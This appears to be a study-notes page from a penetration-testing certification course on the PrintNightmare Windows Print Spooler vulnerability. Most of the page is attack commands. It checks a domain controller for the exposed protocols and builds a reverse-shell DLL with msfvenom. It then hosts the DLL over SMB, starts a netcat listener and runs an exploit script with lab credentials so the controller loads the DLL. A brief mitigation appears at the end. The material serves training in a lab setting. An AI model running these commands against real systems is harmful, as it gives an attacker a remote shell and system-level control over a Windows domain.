> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/critical-active-directory-cves/printnightmare.md).

# PrintNightmare

## Overview

The PrintNightmare vulnerability has to do with a flaw found in the Windows Print Spooler service. The flaw being that the service allows users to add printers and devices **AND** runs as system.

This is a Post-Compromised attack and only needs a regular user account

## PrintNightmare Attack

#### Check if the Domain Controller is vulnerable

```bash
rpcdump.py @192.168.1.129 | egrep 'MS-RPRN|MS-PAR'
```

#### Desired Output

```bash
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol
```

#### Generate malicious DLL, host it and start listener

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=1337 -f dll > shell.dll
smbserver.py share `pwd` -smb2support
nc -lnvp 1337
```

Download and run[ this script](https://github.com/cube0x0/CVE-2021-1675). 

```bash
python3 printnightmare.py pnpt.local/greg:Password1@192.168.1.129 '\\192.168.1.11\share\shell.dll'
```

{% embed url="<https://github.com/JohnHammond/CVE-2021-34527/tree/master/nightmare-dll/nightmare>" %}

```
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
```

## Mitigation

* Run Stop-Service Spooler
  * REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG\_DWORD /d "4" /f